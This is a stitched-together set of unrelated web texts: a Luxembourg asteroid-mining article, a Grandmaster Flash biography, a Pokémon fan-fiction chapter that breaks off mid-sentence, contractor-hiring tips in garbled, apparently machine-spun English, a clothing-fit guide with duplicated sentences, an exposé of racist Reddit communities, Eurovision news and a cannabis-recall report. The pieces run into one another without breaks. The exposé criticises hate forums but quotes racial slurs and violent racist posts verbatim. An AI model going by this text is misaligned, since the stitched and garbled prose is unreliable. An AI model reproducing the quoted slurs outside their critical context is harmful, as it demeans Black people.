It’s complicated. Perhaps the UN agreement applies only to nations, not individual citizens. And it does say that "there shall be free access to all celestial bodies," and that space is "free for exploration and use by all States without discrimination of any kind." Wouldn't, then, a prohibition against asteroid mining limit those freedoms? Plus, officials wrote the treaty back when mining, and even the private space industry, was science fiction.
Luxembourg and the US are confident that anti-mining interpretations of the old agreement won't stand in the space-faring future. So after August 1, if you get permission from Luxembourg to mine asteroids, the subsequent riches are yours. To get that OK-to-go, companies must have written permission from Luxembourg, an office there, a solid risk assessment, and major shareholders or members who have not skimmed money off the top or from terrorist groups, among other strictures. Even Luxembourg doesn't want to let just anybody take a crack at a space rock.
But no one’s going to be doing that for a while, anyway. Schneider himself estimates it will be 20 years before private companies actually reach into asteroids. That means Luxembourg, even in its own optimistic view, is just BoyScouting—being prepared for the 2030s. Then, the miners will live (or at least occasionally work) along the banks of the country's Alzette River and riches will rain down from orbit. And if Luxembourg is the primary backer (and, in some cases, part owner) of those asteroid-stuff-extractors? One of the planet’s smallest nations will be the solar system’s biggest player—pulling down tax revenue, return on investments, and the satisfaction that comes from controlling that future space supply chain.
Schneider isn’t shy about the country’s ambitions. “Ten years from now,” he says, even before anyone is mining anything out of the not-ground, “Luxembourgish will be the official language in space.”Building upon DJ Kool Herc’s novelties, Grandmaster Flash tailored his sound to the “modern Hip Hop DJ approach.” After 16-year-old Joseph Saddler came to terms with the fact that he had no future as a break-dancer, he began to play around with the sound of the physical world around him, banging on desktops and tin trashcans. Performing at public venues throughout the Bronx, including hotspots Planet Rock and Disco Fever, Saddler, now known as Grandmaster Flash, collaborated with other rap artists to form the group known as Grandmaster Flash, Melle Mel and the Furious Five, debuting their record, “Super Rappin.”Their “party boasting” performances usually opened with the signature song “The Adventures of Grandmaster Flash on the Wheels,” with other party anthems to follow. After being approached by a producer to record a song about “life on the streets,” they reluctantly agreed to record their landmark album called “ The Message,” a social commentary about the dismal aspects of urban life. A few years later, they continued their aim of spreading social messages through their anti-drug song, “White Lines (Don’t Do It).” After breaking up, Grandmaster Flash linked up with new members to create the band Grandmaster Flash and the Sugar Hill Gang.Hey guys, welcome back! Super long chapter to make up for last month's brevity. Couple of notes: First, my website is almost ready to go, and patrons are going to get a sneak peek sometime this month. Thanks to everyone for your continued support!
Second, I'm in the last planning stages of a podcast on rationalist writing, which I'm pretty excited about. Episode topics will include everything from rational writing tips and discussion to reviews of media, rational or not, as well as feedback for listener's work, eventually. My co-host alexanderwales and I have a lot to talk about on the subject, but any suggestions on specifics you'd like to hear about can be added to The List!
And finally, once again, if you leave a review that expects or justifies a response, please make an account and log in first! I don't mind anonymous reviews at all, but I've gotten some great reviews full of excellent questions and critiques that were sadly posted by guest accounts, preventing me from replying. I appreciate every review you guys leave, especially the long and detailed ones, so give me the chance to at least say thanks in return!
That's it for now. Hope you enjoy the chapter, and stay tuned in at /r/rational for updates on the website or podcast later this month!
Chapter 31: Distractions
The first thing that makes Blue reconsider his enthusiasm is the sheer number of geodude, zubat, sandshrew, graveler, and other pokemon flooding out of the hole in the mountain.
The second is the cloud of spores that pour out after them, disguised and mingled with the dust of the collapsed earth. Blue watches as a graveler pulls itself up into the sunlight and takes two stumbling steps forward, then collapses onto its face to reveal a back covered in visibly growing fungus.
Goosebumps break out along his arms as a childhood fear returns, spawned by nights of staying up past his bedtime to secretly watch zombie movies. Until his parents died, waking to find his friends and family stumbling around with blank white eyes and fungal caps was his most recurring nightmare.
Migrating parasect colony, or maybe a rampage, started a stampede. Fire and Flying pokemon are top priority. He pulls his facemask on and unhooks Zephyr's ball, then hesitates as the wave of fleeing pokemon approaches them. Hopefully they're too panicked to do anything but run, but if he summons a pokemon in front of them they might attack it-
"Steven and Janet, clear that cloud out! Everyone to the west of the opening, move north or south immediately!"
The voice comes from Ryback's radio, and the group skids to a halt as they realize within seconds of each other that they're in the danger zone. Leaf breaks southward first, and the rest follow her, keeping an eye out for the stampeding pokemon that run or fly past them, oblivious to their doom.
A trio of sandshrew scurry toward them in an intersecting route, and Ryback unclips a ball and throws, summoning a sandslash in a blink. "Keep going!" he tells them as he stops behind his pokemon.
The trio doesn't even exchange a look, all three stepping beside him and summoning Maturin, Bulbasaur and Spearow. The oncoming sandshrew hesitate, then dive under the ground. They brace themselves for an attack, but after a few seconds the pokemon pop out of the ground behind them and keep fleeing.
They withdraw their pokemon and continue southward until they reach one of the portable buildings and run behind it. "I had that handled," Ryback says. "If you want to help, you'll have to defer to those of us here. Understood?"
Blue opens his mouth just as another voice speaks from the radio. "This is Janet, we're in position. If anyone's not clear, say so now."
Ryback presses his radio button. "Ryback here, we're clear, over."
"Hiro clear, over."
"Natalie and Carmin, clear, over."
Stupid, she said to say something if you're not clear. The last of the pokemon from the hole are dispersing past them, and Blue fights the urge to take out pokeballs to grab some. It seems like such a waste to just let them run by, but they might have a chance to pick some up later, and it's not worth the risk of starting an unnecessary fight in such a volatile situation.
"Incoming whirlwind, over."
They watch as the cloud of dust and spores gets caught in a slowly building cyclone, and shift in a slow spiral as it blows westward. It sails over the fleeing pokemon in its path before dispersing into the open air past the edge of the mountain. Blue watches the heavier pokemon that don't get swept up collapse, skin covered in spores.
With the obscuration out of the way, they can see the dozens of crimson paras and parasect crawling over the mountain in outward waves, emitting a new fog of spores as they go.
The voice of the ACE on the radio is calm. "Parasect colony is climbing out of the mountain. Fire pokemon out front, Flying in support. Poison special attackers. Everyone else, watch for strays. If at all possible, try and protect the fossils. Rangers are inbound, first ETA is fifteen minutes. Over."
Ryback raises it to his mouth. "This is Ryback, we've got about a dozen pokemon that were in the path of the twister growing shrooms, over."
"Natalie here, I've got it, over."
Ryback reclips his radio, then turns to the trio. "What have you got?"
"Charmander," Red says. Nidoran and Spinarak are Poison, but not special attackers.
"We have pidgey," Blue says, cocking a thumb at Leaf.
"They're not enough, but the charmander might help. You're with me, Red."
Red hesitates, then nods and steps forward as he unclips Charmander's ball. Ryback turns to Blue and Leaf. "Can you two hold a perimeter?" Blue and Leaf nod. "Good. This is one of the buildings we've been storing fossils in. Keep any rampaging pokemon from destroying it, if you can, and stop them from coming up behind us."
Ryback moves around the building and toward the oncoming swarm of paras and parasect. Red's face is pale, but he raises his fist, and Blue bumps it.
"Guess it's your turn for thrilling heroics."
"At least your arm's not broken."
Leaf hugs Red. "Be careful. Watch the cross-wind."
Blue smirks as his friend freezes, then awkwardly pats her shoulder. "I will. Keep Blue out of trouble."
"Why do I always get nanny duty?" Leaf grumbles, lips twitching upward.
"I'm sorry, of the three of us, which has a badge again?" Blue asks.
Red gives a weak smile and jogs after Ryback. Blue and Leaf watch him go, then summon Zephyr and Crimson as they move back to back to cover both sidelines.
"Zephyr, scout!"
"Crimson, scout!"
Blue watches Zephyr loop around them in the air, slowly scoping the area for any approaching threats. He keeps his gaze on the ground, watching for any telltales signs of pokemon burrowing under the surface.
To his right, Blue can just make out the beginning of the assault in his periphery. Blasts of fire and gusts of wind hit the expanding cloud of spores from multiple directions, keeping it and the insects emitting it, or more accurately the mushrooms on their backs, from advancing. There's an occasional boom as fire causes a pocket of spores to combust all at once.
Blue wipes sweaty palms against his pants. Red and Charmander would be backup to the more experienced trainers with stronger fire pokemon, picking off any paras that get too close, or helping cleanse the bodies of overrun pokemon before they begin emitting their own spores. They wouldn't be near the center of the fighting, and should have plenty of time to fall back if they get overrun…
He forces himself to go back to scanning the rest of the digsite, where wild pokemon continue to run around haphazardly. The occasional ACE or scientist rushing to join the main fight engages them, whether by their choice or the pokemon's, and three separate battles break out in Blue's field of vision.
"If one of them need help, and we're just standing here doing nothing..." Leaf says behind him.
"Yeah." Zephyr lets out a warning cry as a group of zubat flutter by. Blue feels the merciful cool of the battle calm descending as they flutter and loop closer and closer, only to soar away when Zephyr gives a louder battle screech. As they go, his antsy excitement returns, sending useless energy through his arms and legs, commanding him to go, fight, help.
A gout of flame to his left makes Blue turn to see a woman with a flareon cleansing the pokemon that were caught in the spore cloud. She reaches a graveler that shudders as soon as the flame finishes washing over it, and a flash of light quickly captures it before she moves on to the next, making her way toward the mountain's edge.
"Got movement here," Leaf says. Blue unclips Maturin's ball and looks over his shoulder to see a growing bulge moving through the ground as something digs beneath it. "Go, Bulbasaur!"
Her pokemon flashes into existence just as the sandshrew reveals itself. "Vine whip!"
Her pokemon extends its vines and rears them back, but the sandshrew dives back underground before they can land. They watch the sandshrew burrow away, and Leaf reclips her ball without withdrawing Bulbasaur.
"Do you think-"
Leaf is interrupted by a heavy rumble beneath them that sends both to their knees. "Either someone just used Earthquake, or we need to get off this side of the mountain," she says. "More of them might be coming up under us."
"There might be an onix digging around to get away from them, but it probably won't head any farther up."
"Probably?"
"Hopefully. What do you want to do, sound a full retreat? They might not want to leave their fossils."
Leaf bites her lower lip. "ACE is in charge of security, maybe we can get one of them to-"
This time both Zephyr and Crimson give warning cries as another flock of zubat race toward them. In the space of a heartbeat it becomes clear that these are not going to just fly by, and the battle calm is there like a cool cloak round his shoulders.
One, three, five, six, seven. Blue braces his arm. "Go, Maturin! Water Gun!"
"Bulbasaur, return! Go, Ledyba! Supersonic!"
Water and sound knock a zubat out of the sky and send two more tumbling in different directions, and then their pidgey engage the rest of them. The zubat are smaller and more agile, but the birds are ever so slightly faster, keeping ahead of the swarm's poisonous fangs.
Blue and Leaf focus on directing Maturin and Ledyba and let their pidgey's instincts take over. Blue feels the split in attention keenly as he keeps trying to pay attention to what Zephyr is doing while finding new targets for Maturin, but a distant part of him observes the wider battle, and thinks of ways to end it. "Water Gun! Water Gun! Those three are coming back, we won't be able to avoid them all."
"Supersonic! I know, I'm going to withdraw Ledyba before they reach her. Should we Rise and Fall?"
Blue remembers the tactics they practiced on the roof of Viridian and plays it out in his head. "Too slow. Vanishing Act?"
"Need more support. Supersonic! How about a Pinwheel?"
"Alright, on three. Two-Watergun! One!"
"Crimson, defend!"
Crimson breaks away and flies over to hover above her as Blue grabs Maturin off the ground and runs behind them. Part of his skin touches Maturin's and immediately feels dry and stiff as the moisture is sucked out of it. Blue puts Maturin back down and ignores the ache. "Ready!"
"Crimson, Gust!"
"Zephyr, break!"
Crimson begins flapping hard in the direction of the swarm as Zephyr dips a wing and soars away. The zubat trying to chase both begin to get buffeted by the wind, struggling to make headway against it.
Some begin to break away and approach from above or the sides. Blue points to each in turn with his commands. "Maturin, Water Gun! Zephyr, Quick Attack!" Spurts of water continue to knock zubat out of the air, and Zephyr is a tan blur as he zips back and forth to harry them from behind. The zubat try to fly around the column of wind, but Leaf pivots Crimson with them, wheeling the wild pokemon in a slow arc.
One by one zubat begin to drop to the ground and fail to rise, or turn to flee. But soon Crimson tires, and Maturin runs out of water. As soon as the wind dies down, the remaining four zubat close the gap in a blink.
"Maturin, Return! Go, Kemuri!"
"Ledyba, Supersonic! Crimson, Wing At-Crimson return!"
Leaf's beam hits her pokemon as it screeches in pain, cutting the sound off as it vanishes in a red glow. Blood and feathers finish falling from where it was as the zubat wheel around in confusion, then go for Ledyba.
"Ledyba, return!"
"Kemuri, Extrasensory!"
The zubat begin to crash into each other, screeching in alarm and pain. One of them uses their own supersonic wail, causing Blue to uselessly clap his hands over his ears. Blue's vision swims as he feels the sound in his sinuses, the pressure waxing and waning in a way that makes his head feel like a squeezed water balloon.
Blue drops to all fours and curls up into a ball as the vertigo sets in, flashing back to years of training drills in school. Their instructor stood in front of the class, speaking as they demonstrated the proper response to the audio assault they were all about to endure. The best defense against moves that cause mental confusion is to focus on what your body is doing. Maintain a physical position that's low to the ground, and eliminates your body's ability to hurt itself.
Sharp pain blooms as Blue's nails scrape at his ears, and he tucks his hands under his knees to pin them with his weight. The abrasion of the soil and pebbles against his skin grounds him as the wail goes on and on and o-
Blessed silence. No, not silence, but without the audio scalpel of their cry, everything seems so muted. Blue uncurls and pushes himself up, knees wobbling.
He expects to see the zubat all dead or captured, but two are still in the air. What felt like a minute under sonic siege was only seconds as the beam of high pitched sound was either directed elsewhere, or died with one of the zubat on the ground.
Leaf throws a pair of pokeballs that capture them, and Blue aims his at the ones still in the air. His nerves are rattled, but the battle-calm is still there, and he draws it tighter around himself to block out the stinging pain of his self-inflicted ear cuts. He tracks the zubat as they flutter in panicked circles and loops under Kemuri's mental onslaught, one ball on each, letting his thoughts drift so that his arms move purely on reflex, tracking the two pokemon…
Ping! He throws one, sucking it out of the air. The second ball pings another lock, and he throws again just as the zubat stops flapping its wings. Its frail body plummets and bounces against the ground once before lying still.
Blue quickly unhooks another ball and captures it before letting his breath out in a rush. He turns to Kemuri, whose eyes are just beginning to return to normal as his posture slowly relaxes. "Good job, Kemuri. Guard." He takes out a pokepuff and tosses it to his pokemon, then brings Maturin back out and lets her empty his spare water bottle before giving her a pokepuff too.
"You okay?" Leaf asks. "Your left ear is bleeding."
Blue checks and winces as the cut behind his ear stings at his touch. "Fine. How's Crimson?" He takes out a potion and sprays his ear.
"I'm going to wait for a pokemon center to take him back out." She begins to pick up her new zubat and check them with her pokedex, face growing longer after each. "Both gone. Yours?"
Leaf's voice is flat, and Blue gives her a searching look. He's about to ask if she's okay, but holds his tongue. Maybe she's wearing her own cloak. Blue checks the two zubat he caught. "One's okay." He releases the dead one, then goes to get the pokeball that missed.
Around them, the war for the mountainside continues unabated. A few dozen figures hold the line against the paras and parasect in the distance, while random wild pokemon are fought and taken down by the rest of the trainers spread out around the dig site. Zephyr comes down to land on Blue's shoulder, and his talons bite into the undermesh of his shirt. Blue stifles a cry and resists the urge to chase his pokemon off. Zephyr is quivering with exhaustion, and Blue strokes him instead. "Forgot about the great job you did up there, boy," he mutters as he picks up the pokeball and tucks it away, then gives his pidgey some berries and a pokepuff. "You'll be a new terror in the sky when you're all grown up."
After one last look at the main battlefield, Blue returns to Leaf and Kemuri. "Zephyr's tired. Think we'll-"
Click, clickclick, click!
Blue and Leaf blink. "What was-"
Thud, thud, thudthudthudrrrrrrrrrrrrr-
Blue and Leaf look around wildly for the source of the noise, then look at each other.
"The other-
-side, move!"
CRASH
A graveler bursts through the building in a hail of broken wood and glass as Leaf and Blue throw themselves away from the rolling boulder. Zephyr launches back into the air with a shriek of protest, and Blue's other two pokemon flinch at the hail of shrapnel.
"Kemuri, Leaf Blade!" Blue yells as he scrambles to his feet. "Zephyr, back!" Zephyr aborts his dive midway, while Kemuri leaps at the graveler and slashes it across the face.
The graveler roars in pain and tries to body-slam Kemuri, who leaps backward. Blue is about to command Maturin when another loud clickclick is heard.
Blue resists the urge to turn around and look for the source of the sound: he knows better than to take his eyes off a pokemon in a battle. A moment later he's glad he does, because he sees the graveler freeze, then throw itself onto its face, grabbing the earth with all four hands.
Blue's battle calm crystallizes into one last insight, then shatters in a flood of icy panic. "Self-destruct!" he yells as his hands fly to his pokeballs to withdraw everyone. "Return, Maturin! Return, Kemuri!" Blue's every heartbeat is like a timer counting down, and rather than risk wasting any more seconds trying to return Zephyr he simply starts running and yells "Zephyr, back!"
Leaf has already taken off for the opposite side of the ruined building, and skids to a stop before diving behind it. Blue wants to yell for her to keep running, but it may be their only chance. Not gonna make it, he thinks with another spurt of panic, and runs faster. Shit shit shit-
Blue hears Leaf yell "Hey, get down!" and wonders if she's talking to him before he reaches the end of the building and sees a paleontologist with a heavy rucksack standing there with a nonplussed look on his face. A distant part of Blue recognizes him as the one that was giving Red and him the evil eye earlier.
And then a giant, hot hand presses its palm against his back and shoves just as a massive BOOM leaves his ears ringing for the second time in five minutes.
Blue lies in a crumpled heap until the world stops spinning and he can finish testing for broken bones. His elbow feels like it shattered when he rolled into a rock, but he can move it, and he smacked his head against the ground pretty bad, but he doesn't feel nauseous or disoriented.
I should be dead. What was that, 200 feet at most?
He realizes he can vaguely hear something through the ringing that might be Leaf calling his name, and shifts around until he can see her relieved face looking down at him.
"Leaf," he mutters. "Ylright?"
She sticks a thumb up, then starts spraying potion liberally over his head and neck and shoulders. He points a finger to his elbow, where the outer part of his shirt was shredded to reveal the mesh under it. He's glad it was there to save him from losing skin, but he almost changes his mind at the pain of Leaf rolling his sleeve down to see the damage.
His elbow looks badly bruised, but doesn't seem to be broken. The bone might be cracked, but at the first spray of potion he feels the pain lessen, and after a few more the swelling goes down enough for him to flex his arm with minimal pain.
Zephyr lands next to him, and a wave of relief makes him dizzy. Or maybe that's the start of a concussion. He pats his pidgey with his good arm, then returns him to his ball and stands up with Leaf's help.
A couple uncomfortable squirts in his ears has him shaking his head and trying to get the liquid out, but the ringing has stopped enough for him to hear. "We should be dead," is the first thing he hears.
"I know, I was thinking the same thing. That graveler must have been freshly evolved if its blast was so small."
Blue looks at the blackened remains of the graveler's body, and the scorch marks on the ground around it. He considers going over to see if it's still savable, sometimes with immediate medical attention a self-destructing pokemon can be saved, but he knows the window of opportunity would have passed while he was recovering. Blue's surprised Leaf didn't try to save it, but he's glad she was worried about making sure he was alright.
"Hey, where's that other guy?"
"He's inside." She jerks a thumb at the long, narrow building, which has a huge section torn out of the side. "Said he's going to check on the fossils." Blue's frowning at the visible destruction. "Something wrong?"
"Sorry, yeah, just… was he standing there when you got here?"
Leaf stares at him, then blinks as it registers. "Yeah. He… I wonder why he didn't yell a warning about the graveler."
"Didn't even have a pokemon out, right?"
"No… Blue, those clicks."
He remembers. Right before they heard the graveler start running for its rollout, then again before the Self-Destruct. "You don't think…"
He sees his mounting unease reflected in her gaze, and they begin moving toward the building together. "There must be a reasonable explanation," Leaf says, and Blue notices that she's whispering now.
Blue unclips a ball, heart pounding. What they're thinking is crazy, but... better safe than sorry. "Go, Maturin." He picks his pokemon up after she appears, and steps up into the broken remains of the building. Leaf follows him, hands moving over her right ear.
The inside of the building is a mess of wood and glass and paper. They step over a crushed table and around a cabinet torn partway off the wall to walk toward the opposite end of the rectangular building.
What looks like a storage room is open, and the paleontologist is standing in front of a series of labeled drawers with the rucksack he was wearing at his feet. The one near the middle is open, with rows of grey Container balls nestled in slots documenting where and when they were found.
Most of the slots are empty. The bag looks to be about halfway full.
The paleontologist turns to them as they approach, two more Containers in his hand. He bends and places them in the bag, then securely closes it.
"What are you doing?" Blue asks, throat dry.
"Moving these. It's not safe here anymore, so I've been going around to get these off site."
"You said you were just going to check on them," Leaf says, stepping up beside Blue.
"Change of plans. Just got the orders." His hands never stop moving, and when he finishes tying the bag he slings it over his shoulder. Blue can't help but stare at the still-open cabinet, with half of its Containers still sitting it, something's wrong, something's wrong-
"Stop," Leaf says, and Blue's attention snaps to the man's hand as he unclips a ball from his waist and braces his arm, paying her no mind.
"Go, Abra."
The squat tan psychic pokemon appears on the floor, sitting quietly with its eyes closed, and Blue is suddenly very afraid and very glad that he's Dark. "Stop, whatever you're doing, we need to make sure-"
"Abra, teleport," the man says as he reaches forward to put |
for the next home improvement job.
Get Recommendations from Relatives and buddies
Requesting relatives and buddies for the real name of the good builder may verify useful. If a member of family or acquaintance completed similar home improvements, and were content with the work, using the same company might increase the choice process. Trying to recognize a shady contractor is difficult. Using recommendations to choose a builder shall boost your likelihood of finding an established home improvement company.
Browse Contractors Stated in the Yellow Pages
If friends and family and family cannot send a good builder, you shall have to rely on the yellow pages and other kinds of advertisements. The yellow pages include many listings, making the choice process challenging. Guideline: do not retain the first service provider you contact. Instead, ask for information and insurance quotes from several companies.
Get an estimation and have how long it will require to complete the working job. Each company will quote you different quotes bit of a. It really is tempting to find the most affordable contractor. However, retain in head that more costly companies might use better materials or has a reputation once and for all work.
Research Companies with the BBB
As you commence your visit a good company, contact the Better Business Bureau (BBB) in where you live. In case a service provider or company has received any claims from earlier customers or is rolling out a poor reputation, the BBB will have this given information. While browsing contractors, choose one with a flawless record.
Along with researching grievances by the BBB, get referrals from the service provider. Ideally, referrals should be include and current customers that experienced similar work completed on the homes. Contact previous customers to see if indeed they were content with the contractor's work.How To Ensure A Proper Fit
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Sometimes you slip on that new shirt and it just doesn't feel right. But what is it? Is it the sleeve length? The collar? The way it looks with a blazer? Well, the confusion ends today.
I've devised the following rules and tips for how basic clothing items should fit your body. And while what you wear and how you wear it changes over time, these tips are timeless. After all, getting clothes to feel right goes hand in hand with getting clothes to look right.
button-down shirts
Sleeves & cuffs
Dress shirts tend to shrink after a few washings, so before buying and getting a shirt tailored, make sure the sleeve is slightly longer in order to counteract any eventual shrinkage.
So what's the right length when it comes to shirt sleeves? They should cover your wrist and reach the beginning of your thumbs.
As well, your cuffs should be tight enough to prevent them from slipping down your wrist.
If you opt to leave your button-down shirt untucked, it should hang just above your pants zipper (at back pocket level).
If you opt to leave your button-down shirt untucked, it should hang just above your pants zipper (at back pocket level). When wearing a jacket and extending your arms, the sleeves should land between a half-inch and one inch past the jacket. Anything longer is cause for tailoring or buying a smaller shirt.
Collars & shirts
If the shirt's seams meet at the shoulder, you know it fits quite well.
Your forefinger should be able to fit in between your collar and your neck when the shirt is buttoned to the top.
The collar's tips and outer edge should be covered by your blazer or suit jacket's lapels. To ensure that this happens, always fit your dress shirts and button-downs before fitting your jackets and blazers.
blazers
The blazer or jacket's sleeve should rest at your thumb knuckle when your arm is extended, and the blazer or jacket should cover your backside. The blazer or jacket's sleeve should rest at your thumb knuckle when your arm is extended, and the blazer or jacket should cover your backside.
The blazer/jacket's collar should leave about a half- inch of your dress shirt's collar visible.
If you plan on wearing your sports jacket frequently over sweaters, bring a thin or regular knit sweater with you when trying on or tailoring the blazer or suit jacket.
pants
Trousers
Determining whether you have the right fit when it comes to slacks is fairly simple. Try them on without shoes; they should just touch the floor. With shoes on, the back part of your pants should barely touch the ground (one rule of thumb is that pants should break at about 1/3 of the way down the shoe). And if you need one more sign that your slacks might not fit well, remember that your socks should not show when you walk.
When belting slacks, don't pull too tight, or you risk bunching up the fabric around your midsection. This will make your gut appear larger than it is.
If you're hemming your pants at the waist, place them below your belly button.
If you're hemming your pants at the waist, place them below your belly button. And of course, remember that slacks — like shirts — usually shrink when you wash them. Buy (or have a tailor create) pants just a shade longer than what you actually need.
Make sure your jeans, ties, overcoats, and belts look just right...One section of the Web forum is dedicated to watching black men die, while another is called “CoonTown” and features users wondering if there are any states left that are “nigger free.” One conversation focuses on the state of being “Negro Free,” while another is about how best to bring attention to the assertion that black people are more prone to commit sexual assaults than whites.
But these discussions aren’t happening on Stormfront, which since its founding in 1995 by a former Alabama Klan leader has been the largest hate forum on the Web. They’re taking place on Reddit, a huge online bulletin board recently spun off into its own independent entity from Advance Publications, the parent company of Condé Nast. Reddit has been hailed as the last bastion of free speech on the Internet, an unregulated and vibrant community of users who post whatever they want and rely on the community around them to police their content.
The world of online hate, long dominated by website forums like Stormfront and its smaller neo-Nazi rival Vanguard News Network (VNN), has found a new — and wildly popular — home on the Internet. Reddit boasts the 9th highest Alexa Internet traffic ranking in the United States and the 36th worldwide. Many of Reddit’s racist subreddits are among its most popular.
Reddit is a news site that hosts user-submitted links and discussion, organized into specific communities of interest comprised of “subreddits,” which are ranked by votes from users. If a reader believes content is a constructive contribution, he or she can “upvote” it, pushing the content further up the page. Conversely, if a user thinks that content is either off-topic or is not constructive, it can be “downvoted,” causing it to sink further down the page.
Content on Reddit is “moderated based on quality, not opinion,” according to the working document that dictates community guidelines, called “Reddiquette.” This idea of user-policed communities that contain high-quality, diverse content is part of the ethos Reddit has worked hard to project. “We power awesome communities,” reads the graphic atop its “about” page.
But awesome communities for whom?
The ‘Chimpire’
Along with countless others with entirely different interests, Reddit increasingly is providing a home for anti-black racists — and some of the most virulent and violent propaganda around. In November 2013, a hyper-racist subreddit called “GreatApes” was formed. Users posted epithet-strewn links to “news” stories of dubious origin that riffed on long established stereotypes about the black community. GreatApes was wildly popular and grew quickly, expanding into a much larger Reddit network called “the Chimpire,” which was organized by a user known only by his or her posting name of “Jewish_NeoCon2.”
“We feel it’s time to expand our sphere of influence and lebensraum [the Nazi term for “living space”] on reddit. Thus we have decided to create ‘the Chimpire,’ a network of nigger related subreddits,” Jewish_NeoCon2 wrote at the time. “Want to read people’s experiences with niggers? There now is an affiliated subreddit for it. Want to watch chimp nature documentaries? We got it. Nigger hate facts? IT’S THERE. … Oh yes you bet we got videos of ghetto niggers fighting each other. Nigger drama on reddit? There’s a sub. Sheboons? Gibsmedat.”
Within a year, the Chimpire network had grown to include 46 active subreddits spanning an alarming range of racist topics, including “Teenapers,” “ApeWrangling,” “Detoilet,” and “Chicongo,” along with subreddits for both “TrayvonMartin” and “ferguson,” each of them dealing with the controversial and highly publicized shooting deaths of unarmed black teenagers.
Then, last November, Reddit’s most racist community evolved once again, adding the subreddit called CoonTown in the aftermath of a dispute between several top moderators at GreatApes. In just four days, CoonTown had reached 1,000 subscribers. And its popularity continues to grow.
According to Reddit Metrics, as of Jan. 6, there were 552,829 subreddits. CoonTown, with its 3,287 subscribers, ranked 6,279th, placing it in the top 2% of subreddits. It is the 680th fastest-growing subreddit on the site despite — or because of — violently racist material including a large number of threads dedicated to videos of black-on-black violence.
These gruesome videos show black men being hit in the head repeatedly with a hammer, burned alive, and killed in a variety of other ways. The subreddit’s banner features a cartoon of a black man hanging, complete with a Klansman in the background. One fairly typical user, “Bustatruggalo” applauded the graphic violence as “[v]ery educational and entertaining.” He or she continued on a separate thread: “I almost feel bad for letting an image like this fill me with an overwhelming amount of joy. Almost….”
Others, like user “natchil,” were looking for still more. “Where is watchjewsdie?” this user wondered.
'Remember the Human'
There are some limits. “No calls for violence,” the CoonTown subreddit’s description reads. “It’s prohibited by Reddit’s site-wide rules.”
Everything up to violence, however, is very much there, including the horrific content found on other Chimpire subreddits like “WatchNiggersDie” — content which is rarely, if ever, matched on forums like Stormfront and VNN, which worry about being shut down or driving off potential allies.
That’s despite the Reddiquette section’s first rule, which implores Reddit users to “Remember the human.” “When you communicate online, all you see is a computer screen,” it says. “When talking to someone you might want to ask yourself ‘Would I say it to the person’s face?’ or ‘Would I get jumped if I said this to a buddy?’”
If Reddit’s rules seem relaxed, that’s because they are meant to be. Still, although users are asked to “remember the human,” there is little humanity in the way the subjects of subreddits like CoonTown are treated.
In June 2013, however, after an extended, public controversy, Reddit did ban the subreddit “Niggers” when large numbers of its denizens began overrunning another subreddit, “BlackGirls,” with racist posts that were apparently not being policed by its moderators. “Brigading” — when large groups of people from one subreddit gang up to downvote comments on another subreddit that they don’t normally visit — is prohibited by Reddit. Users of the Niggers subreddit also engaged in “vote manipulation,” which falsely raises the popularity of a post by soliciting like-minded users to blindly upvote it. After repeated warnings and “shadow-banning,” or making a user’s posts invisible to everyone but the author, the subreddit was finally banned. According to Jewish_NeoCon2, more than a few former members of the Niggers subreddit have now taken up residence at CoonTown.
A Reluctance to Intervene
Reddit was recently spun off into its own independent entity from Advance Publications, the parent company of mass media giant Condé Nast, which also owns Vanity Fair, The New Yorker and 20 other print and online publications that reach an estimated 95 million consumers (Advance Publications is still a majority shareholder in Reddit). The site’s goal, according to Wong, is to pay its own way and its primary engine for accomplishing that is through ads, a premium subscription option, and the Reddit gift exchange.
Racist websites and organizations do sometimes benefit from racist subreddits like the Chimpire. That’s because subreddit users often post links to other racist sites, and those links drive traffic to those other sites, which in turn typically sell merchandise in addition to pushing racist ideology and recruiting.
It’s hard to dispute that Reddit does offer a venue for remarkably lively and unbridled conversation, and that dissident commentary that might not be tolerated elsewhere finds a welcome home there. Richard Spencer, a racist ideologue who heads the National Policy Institute, held an “AMA” (Ask Me Anything) session on Reddit last November, and although his views are widely regarded as loathsome, he was calm and understated in his discussion of far-right European politics. Unlike in WatchNiggersDie, there were no links to videos of brutal killings or other visual images meant to degrade the humanity of minorities.
Reddit is often hailed as one of the last bastions of truly free speech, and its owners’ hesitance to jeopardize that status is understandable given the loyal following it has inspired. Reddit has removed content that has been illegally appropriated from commercial interests, such as the revelations that emerged from the November hack of Sony Pictures Entertainment.
The Internet is awash in racist, anti-Semitic, misogynistic and other hateful content, but much of it is relatively tame. Subreddits such the Chimpire offer a window on to just how awful some of the darkest corners of the Web really are.Hovi Star will represent Israel in the 2016 Eurovision Song Contest in Stockholm with the song "Made of Stars", written and composed by Doron Medalie.
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Star, 29, a resident of Kiryat Ata, whose real name is Hovev Sekulets, won Thursday evening the final round of reality TV singing competition HaKokhav Haba (The Next Star), which sends the winner to the annual contest.
"I'm wildly excited," he said after winning the final. "This is a childhood dream come true and I promise to represent Israel in the best way possible."
Hovi Star, middle, will represent Israel in Eurovision 2016 (Photo: Alex Kolomoisky)
Star, who appeared in the same show's seventh season, beat the two other finalists - Nofar Salman, 17, a twelfth-grader from Rishon LeZion who also performed the song "Made of Stars", and Ella Daniel, 28, a cook and waitress who lives in Jaffa and sang "Somebody Out There". Gil Hadash, 20, was eliminated in the first stage and finished the final in fourth place.
Star is set to perform at the Eurovision's second semi-final on May 12. But he will not be the only Israeli at the contest - FrenchIsraeli Amir Haddad, who took part in HaKokhav Haba's fourth season, was chosen to represent France.Updated Nov. 18 at 9:31 a.m. The following corrected information has been added to this article: Because of a reporter’s error, the name of the company subject to the recall was misreported. It is Lab710 Concentrates.
More than 2,300 packages of marijuana concentrates are being voluntarily recalled from Colorado pot shops because they contain potentially dangerous pesticides banned for use on cannabis.
The state’s latest marijuana recall, involving 2,362 packages of pot extracts made by Denver-based Lab710 Concentrates, was announced by the Denver Department of Environmental Health on Tuesday.
“This is all about the customer and patient and our quality name,” said Lab710 co-owner Jason Martinez, whose company acquired the tainted trim from TruCannabis, the subject of its own recall in mid-October. “We don’t want it tarnished by something we thought we had a handle on.”
The business is the third company to recall product after purchasing pot from TruCannabis.
Tuesday’s recall announcement marks the eighth pesticide-related recall in Colorado in 10 weeks — a process that began after a Denver Post investigation found high levels of unapproved pesticides in pot extracts made by Mahatma Concentrates in September.
But the recall is Colorado’s first since Gov. John Hickenlooper last week issued an executive order saying the state would now enforce a years-old law that authorizes the quarantine and destruction of pot grown with the banned pesticides.
